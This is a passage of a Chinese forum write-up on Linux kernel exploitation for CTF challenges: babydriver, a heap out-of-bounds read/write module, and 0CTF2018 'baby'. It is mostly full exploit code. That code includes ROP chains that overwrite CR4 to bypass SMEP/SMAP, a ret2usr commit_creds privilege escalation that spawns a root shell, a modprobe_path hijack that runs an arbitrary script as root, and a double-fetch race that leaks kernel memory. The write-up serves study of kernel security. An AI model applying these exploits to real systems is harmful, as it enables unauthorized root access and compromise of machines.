    rop[i++] = 0;
    rop[i++] = (size_t)get_root;  // ret2usr
    rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
    rop[i++] = 0;
    rop[i++] = 0xffffffff814e35ef; // iretq; ret;
    rop[i++] = (size_t)get_root_shell; // rip
    rop[i++] = usr_cs;
    rop[i++] = usr_rflags;
    rop[i++] = usr_rsp;
    rop[i++] = usr_ss;

    int fd3 = open("/dev/ptmx", O_RDWR|O_NOCTTY);
    size_t fake_tty_operation[0x20] = {
                    0xffffffff00000000,
                    0xffffffff00000001,
                    0xffffffff00000002,
                    0xffffffff00000003,
                    0xffffffff00000004,
                    0xffffffff00000005,
                    0xffffffff00000006,
                    0xffffffff00000007,
                    0xffffffff00000008,
                    0xffffffff00000009,
                    0xffffffff0000000a,
                    0xffffffff0000000b,
                    0xffffffff0000000c
            };
    /*
    fake_tty_operation[0] = 0xffffffff8100ce6e; // pop rax; ret;
    fake_tty_operation[1] = rop[0];
    for(int j=2;j<5;j++)
        fake_tty_operation[j] = 0xffffffff8100ce6f; // ret;
    fake_tty_operation[5] = 0xffffffff8105c144;  // pop rbx; ret;
    fake_tty_operation[6] = 0xffff880006f31c00;
    */
    for(int j=0;j<5;j++)
        fake_tty_operation[j] = rop[j];
    fake_tty_operation[5] = 0xffffffff8100ce6f; // ret;
    for(int j=6;j<14;j++)
        fake_tty_operation[j] = rop[j-1];

    fake_tty_operation[7] = 0xffffffff8181bfc5; // mov rsp, rax; dec ebx; ret;

    size_t fake_tty_struct[4] = {0};
    read(fd2, fake_tty_struct, 32);
    fake_tty_struct[3] = (size_t)fake_tty_operation; // hijack *ops
    write(fd2, fake_tty_struct, 32);

    char buf[0x10] = {0};
    write(fd3, buf, 0x8);  // tty_operation -> write
    return 0;
}

RE: REsolve: babydriver (msg_msg + seq_file + pt_regs + ret2usr)

分析

大多数情况下，smep和smap都是同时出现的，那么之前那个攻击方式就有欠缺了些许味道。（毕竟伪造的tty_operation还是位于用户态，所以并不能抗住smap这个机制）

所以我又脑子一热，将启动脚本修改如下（加入了smap）：

qemu-system-x86_64 \
    -initrd rootfs.cpio \
    -kernel bzImage \
    -append 'console=ttyS0 root=/dev/ram nopti oops=panic panic=1' \
    -enable-kvm -monitor /dev/null -m 256M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep,+smap \
    -no-reboot \
    -s

思路其实和之前差不多，利用某些方式劫持到程序流之后栈迁到rop就行，只不过rop需要想办法构造在DMA区域中了。

为了学习尽可能多的trick，我使用了一种比较曲折的方式来达成利用。

过程可以大致分为以下几步：

利用本题漏洞，造一个0x1000大小的uaf，开一个0x1100的msg_msg结构体（前0x1000的msg_msg内容任意，后面挂着的0x100的msg_msgseg用于布置rop），利用uaf leak出msg_msg中指向msg_msgseg的指针，得到rop地址。

再造一个0x18大小的uaf，打开/proc/self/stat创建出seq_file，uaf捕获到seq_operations。这样就能利用read(seq_fd, $rsp, 8)触发seq_operations->start指针的任意执行了。

先使用add rsp, val这类gadgets来让rsp走到pt_regs中，从而再利用pop rsp; ret这样的gadget实现栈迁移。（由于没有找到合适的一次性把rsp add到pt_regs的gadget，所以在exp使用了二段跳）

exp

#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/keyctl.h>

#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/syscall.h>

#include <errno.h>

int dev_fd[2], seq_fd;
const char *dev_name = "/dev/babydev";

size_t commit_creds = 0xffffffff810a1420;
size_t prepare_kernel_cred = 0xffffffff810a1810;
size_t rop_addr;

size_t usr_cs, usr_rflags, usr_rsp, usr_ss;
void save_status()
{
    __asm__(
        "mov usr_cs, cs;"
        "pushf;"
        "pop usr_rflags;"
        "mov usr_rsp, rsp;"
        "mov usr_ss, ss;"
    );
}

void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred;
    void* (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}

void get_root_shell()
{
    if (getuid()!=0) {
        puts("[-] get root failed.");
        exit(-1);
    }
    system("/bin/sh");
}

void build_rop(size_t *rop, int offset)
{
    int i = offset;
    rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
    rop[i++] = 0x6f0; // bypass smep&smap
    rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
    rop[i++] = 0;
    rop[i++] = (size_t)get_root;  // ret2usr
    rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
    rop[i++] = ((size_t)&i);
    rop[i++] = 0xffffffff814e35ef; // iretq; ret;
    rop[i++] = (size_t)get_root_shell; // rip
    rop[i++] = usr_cs;
    rop[i++] = usr_rflags;
    rop[i++] = usr_rsp;
    rop[i++] = usr_ss;
}

int getMsgQueue(void)
{
    return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}

int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
    return msgrcv(msqid, msgp, msgsz, msgtyp, IPC_NOWAIT|MSG_NOERROR);
}

int writeMsg(int msqid, void *msgp, size_t msgsz)
{
    return msgsnd(msqid, msgp, msgsz, 0);
}

int main()
{
    save_status();
    signal(11, (size_t)get_root_shell);

    int qid = getMsgQueue();
    if (qid == -1) {
        fprintf(stderr, "[-] msg_queue\n");
        exit(-1);
    }

    dev_fd[0] = open(dev_name, O_RDWR);
    if (dev_fd[0] == -1) {
        fprintf(stderr, "[-] open %s failed.(1)\n", dev_name);
        exit(-1);
    }

    dev_fd[1] = open(dev_name, O_RDWR);
    if (dev_fd[1] == -1) {
        fprintf(stderr, "[-] open %s failed.(2)\n", dev_name);
        exit(-1);
    }

    char *buffer_send = malloc(0x4000);
    char *buffer_recv = malloc(0x4000);
    memset(buffer_send, 0x61, 0x4000);

    build_rop((size_t *)buffer_send, ((0x1000-0x30)>>3)+1);

    ioctl(dev_fd[0], 0x10001, 0x1000);
    close(dev_fd[0]);

    int cnt = 1;
    for (int i = 0; i < cnt; ++i) {
        if (writeMsg(qid, buffer_send, 0x1100-0x38) < 0)
            fprintf(stderr, "[-] msg_msg\n");
        else
            puts("[+] msg_msg\n");
    }


    read(dev_fd[1], buffer_recv, 0x40);
    puts("\nPartial leak:");
    for (int i = 0; i < 8; ) {
        printf("[+] %016lx %016lx\n", ((size_t *)buffer_recv)[i], ((size_t *)buffer_recv)[i+1]);
        i += 2;
    }
    rop_addr = ((size_t *)buffer_recv)[4] + 0x8;
    printf("[+] rop_addr: 0x%lx\n", rop_addr);
    printf("[+] buffer_send: 0x%lx\n", buffer_send);

    dev_fd[0] = open(dev_name, O_RDWR);
    if (dev_fd[0] == -1) {
        fprintf(stderr, "[-] open %s failed.(3)\n", dev_name);
        exit(-1);
    }
    ioctl(dev_fd[0], 0x10001, 0x18);
    close(dev_fd[0]);

    seq_fd = open("/proc/self/stat", O_RDONLY);
    if (seq_fd == -1) {
        puts("[-] failed in opening seq_fd.");
        exit(-1);
    }

    // getchar();

    size_t ptr = 0xffffffff8151a3a5;  // add rsp, 0x148; pop rbx; pop r12; pop r13; pop rbp; ret;
    write(dev_fd[1], (char *)&ptr, 0x8);

    __asm__(
        "mov r15,   0xffffffff8100006f;"  // ret;
           "mov r14,   0xffffffff81183478;"  // add rsp, 0x40; pop rbx; pop rbp; ret;
           "mov r13,   0xffffffff8100006f;"
           "mov r12,   0xffffffff8100006f;"
           "mov rbp,   0xffffffff8100006f;"
           "mov rbx,   0xffffffff8100006f;"
           "mov r11,   0xffffffff8100006f;"
           "mov r10,   0xffffffff8100006f;"
           "mov r9,    0xffffffff81171045;"  // pop rsp; ret;
           "mov r8,    rop_addr;"
           "xor rax,   rax;"
           "xor rdi,   rdi;"
           "mov rcx,   0xdeadbeef;"
           "mov rdx,   8;"
           "mov rsi,   rsp;"
           "mov rdi,   seq_fd;"
           "syscall"               // read(seq_fd, $rsp, 8);
    );

    // getchar();

    return 0;
}

Hijack modprobe_path

他和poweroff_cmd, uevent_helper, ocfs2_hb_ctl_path, nfs_cache_getent_prog, cltrack_prog这些变量类似，都是call_usermodehelper类型的trick。

只需要劫持一个字符串，就能用root权限执行任意命令。（但是这个命令往往是不可以交互的）

以modprobe_path为例在劫持了对应字符串为/tmp/a.sh之后，只需要运行一个非正确的ELF文件即可触发。

system("echo -ne '\\xff\\xff\\xff\\xff' >> /tmp/dummy");
system("echo '#!/bin/sh\nchmod 777 /flag' >> /tmp/a.sh");
system("chmod 777 /tmp/dummy; chmod 777 /tmp/a.sh");

system("/tmp/dummy");

rwOnTheHeap

分析

checksec只开了NX

关键函数如下：

__int64 procfile_open()
{
  _QWORD *v0; // rax

  _fentry__();
  v0 = (_QWORD *)kmem_cache_alloc_trace(kmalloc_caches[10], 3264LL, 1024LL);
  *v0 = v0;
  procfs_buffer = (__int64)v0;
  return _x86_return_thunk(0LL, 0LL, 0LL);
}

__int64 __fastcall procfile_write(__int64 a1, __int64 a2)
{
  _fentry__();
  if ( !copy_from_user(&request_t, a2, 16LL) )
    *(_QWORD *)(procfs_buffer + *(&request_t + 1)) = request_t;
  return _x86_return_thunk(0LL, 0LL, 0LL);
}

__int64 __fastcall procfile_read(__int64 a1, __int64 a2)
{
  _fentry__();
  if ( !copy_from_user(&request_t, a2, 16LL) )
  {
    request_t = *(_QWORD *)(procfs_buffer + *(&request_t + 1));
    copy_to_user(a2, &request_t, 16LL);
  }
  return _x86_return_thunk(0LL, 0LL, 0LL);
}

非常直观的dma中越界读写漏洞。（值得一提的是，越界的地址范围多达8字节，这已经可以任意位置读写了）

不难想到，只需要leak出kernel的text段地址即可直接越界修改modprobe_path达成利用。

在leak的时候我使用的方法是：

构造若干个msg_msg和msg_msgseg，在一个msg_queue上挂着0x400的msg_msg，指向0x1000的msg_msg，再指向0x20的msg_msgseg。然后再开一个shm_file_data（0x20）。

通过越界读，在procfs_buffer附近4个内存页中搜索0x400的msg_msg，从他的双链表找到0x1000的msg_msg的位置，再通过0x1000的msg_msg leak出0x20的msg_msgseg的地址。

这时就又能通过越界读，在0x20的msg_msgseg附近的3个内存页中搜索到shm_file_data，从而得到kernel的text段地址，计算出modprobe_path的位置，达成利用。

exp

#include <unistd.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>

#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/syscall.h>

size_t buf[2];

int fd1, fd2;

void read_from_heap(int fd, size_t offset) {
    buf[1] = offset;
    read(fd, buf, 0x10);
}

void write_to_heap(int fd, size_t value, size_t offset) {
    buf[0] = value;
    buf[1] = offset;
    write(fd, buf, offset);
}

int main() {
    fd1 = open("/proc/vuln", O_RDWR);
    if(fd1 == -1) {
        printf("[-] open device error.\n");
        exit(-1);
    }
    printf("[+] fd: %d\n", fd1);

    read_from_heap(fd1, 0);
    uint64_t procfs_buffer = buf[0];
    printf("[+] buffer addr: %lx\n", procfs_buffer);


    char *buffer = malloc(0x4000);
    memset(buffer, 0x61, 0x400);
    int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    msgsnd(qid, buffer, 0x400-0x30, 0);

    memset(buffer, 0x62, 0x2000);
    msgsnd(qid, buffer, 0x1020-0x38, 0);  // 0x1000 + 0x20

    int shmid = shmget(IPC_PRIVATE, 100, 0600); // 0x20 -> shm_file_data -> leak
    if(shmid == -1) {
        puts("[-] shmget error!");
        exit(-1);
    }
    char *shaddr = shmat(shmid, NULL, 0);
    if(shaddr == (void *)-1) {
        puts("[-] shmattr error!");
        exit(-1);
    }

    // search msg_msg (0x400) in recent 4 pages
    int cur = -0x2000, tail = 0x2000;
    uint64_t msg_msg_1024 = 0;
    for(; cur <= tail; cur+=0x10) {
        read_from_heap(fd1, cur);
        //printf("%016lx %016lx\n", buf[0], buf[1]);
        if(buf[0]==0x6161616161616161) {
            read_from_heap(fd1, cur-0x10);
            msg_msg_1024 = buf[0];

            printf("[+] msg_msg_1024: %lx\n", msg_msg_1024);
            break;
        }
    }
    if(!msg_msg_1024) {
        puts("[-] failed in searching msg_msg_1024");
        exit(-1);
    }

    read_from_heap(fd1, msg_msg_1024 + 0x20 - procfs_buffer);
    uint64_t msg_msgseg = buf[0];
    printf("[+] msg_msgseg: %lx\n", msg_msgseg);

    // search shm_file_data in recent 3 pages
    cur = msg_msgseg - procfs_buffer - 0x1008, tail = cur + 0x2008;
    uint64_t leak_kernel_addr = 0;
    for(; cur <= tail; cur+=0x10) {
        read_from_heap(fd1, cur);
        //printf("[+] %016lx\n", buf[0]);
        if(buf[0]>0xffffffff00000000) {
            leak_kernel_addr = buf[0];

            printf("[+] leak_kernel_addr: %lx\n", leak_kernel_addr);
            break;
        }
    }
    if(!leak_kernel_addr) {
        puts("[-] failed in searching leak");
        exit(-1);
    }

    uint64_t modprobe_path = leak_kernel_addr - 0x1da1a0;
    printf("[+] modprobe_path: %lx\n", modprobe_path);

    // hijack modprobe_path
    write_to_heap(fd1, 0x0061612f706d742f, modprobe_path - procfs_buffer);

    system("echo -ne '\\xff\\xff\\xff\\xff' >> /tmp/dummy");
    system("echo '#!/bin/sh\nchmod 777 /flag' >> /tmp/aa");
    system("chmod 777 /tmp/dummy; chmod 777 /tmp/aa");

    system("/tmp/dummy");

    getchar();

    return 0;
}

Double fetch

这个属于条件竞争类的利用，在某些时候kernel第一次拿到一个值，判断合法之后，距离使用还存在一定的窗口期，在这个期间利用条件竞争漏洞修改掉那个值，即可达成恶意目的。

0CTF2018-final-baby

分析

baby_ioctl的本意就是让你传一个地址和长度，如果和内核中flag的内容一致的话，就可以直接打印出flag了，而且在传参数0x6666的时候会直接白给内核态中真flag的地址。

不过在函数_chk_range_not_ok里限制了我们传入的flag必须在用户态的空间之内。

bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  bool v3; // cf
  unsigned __int64 v4; // rdi
  bool result; // al

  v3 = __CFADD__(a2, a1);
  v4 = a2 + a1;
  if ( v3 )
    result = 1;
  else
    result = a3 < v4;
  return result;
}

__int64 __fastcall sub_25(__int64 a1, int a2, __int64 a3)
{
  __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-54h]

  if ( a2 == 0x6666 )
  {
    printk("Your flag is at %px! But I don't think you know it's content\n", flag);
    result = 0LL;
  }
  else if ( a2 == 0x1337
         && !_chk_range_not_ok(a3, 16LL, *(_QWORD *)(__readgsqword((unsigned int)&current_task) + 4952))
         && !_chk_range_not_ok(
               *(_QWORD *)a3,
               *(int *)(a3 + 8),
               *(_QWORD *)(__readgsqword((unsigned int)&current_task) + 4952))
         && *(_DWORD *)(a3 + 8) == strlen(flag) )
  {
    for ( i = 0; i < strlen(flag); ++i )
    {
      if ( *(_BYTE *)(*(_QWORD *)a3 + i) != flag[i] )
        return 22LL;
    }
    printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
    result = 0LL;
  }
  else
  {
    result = 14LL;
  }
  return result;
}

__int64 baby_ioctl()
{
  _fentry__();
  return sub_25();
}

一看启动脚本：

qemu-system-x86_64 \
-m 256M -smp 2,cores=2,threads=1  \
-kernel ./vmlinuz-4.15.0-22-generic \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
-cpu qemu64 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  -enable-kvm  \

双核，可能存在条件竞争类漏洞。

联想到double fetch的思路，可以尝试在传入flag地址，通过_chk_range_not_ok的检查之后用子线程修改掉传入的flag地址为真正的flag地址，从而让他直接打印出flag。

（也有一种魔鬼思路是利用mmap开出一块地址，然后将猜测的flag放在mmap这块空间的末位，然后利用是否造成kernel pannic来逐步爆破flag，最多只需要爆破2k+次就能成功）

exp

#include <pthread.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/types.h>

#define COMPETATION_TIME 0x1000

pthread_t competation_thread;

char buf[0x1000];

uint32_t attack = 1;
char * real_addr;

struct {
    char * flag_addr;
    uint32_t flag_len;
} flag = {.flag_addr = buf, .flag_len = 33};

void race_condition() {
    while(attack) {
        for(int i = 0; i < COMPETATION_TIME; ++i) {
            flag.flag_addr = real_addr;
        }
    }
}

int main() {
    int fd, addr_fd, result_fd;
    fd = open("/dev/baby", O_RDWR);
    ioctl(fd, 0x6666);

    system("dmesg | grep flag >./addr");
    addr_fd = open("./addr", O_RDONLY);

    buf[read(addr_fd, buf, 0x100)] = '\x00';

    char *leak_flag_addr = strstr(buf, "Your flag is at ") + 0x10;
    real_addr = strtoull(leak_flag_addr, leak_flag_addr + 0x10, 0x10);
    printf("\033[34m[+]flag addr: 0x%llx\033[m\n", real_addr);

    pthread_create(&competation_thread, NULL, race_condition, NULL);

    while(attack) {
        for(int i = 0; i < COMPETATION_TIME; ++i) {
            flag.flag_addr = buf;
            ioctl(fd, 0x1337, &flag);
        }
        system("dmesg | grep flag >./result");
        result_fd = open("./result", O_RDONLY);

        read(result_fd, buf, 0x100);
        if(strstr(buf, "flag{")) {
            attack = 0;
        }
    }

    pthread_cancel(competation_thread);

    puts("\033[34m[+]success!\033[m");
    system("dmesg | grep flag");

    return 0;
}

参考文章

https://www.jianshu.com/p/a2259cd3e79e

https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/

看雪ID：kotoriseed

https://bbs.kanxue.com/user-home-951122.htm

*本文由看雪论坛 kotoriseed 原创，转载请注明来自看雪社区

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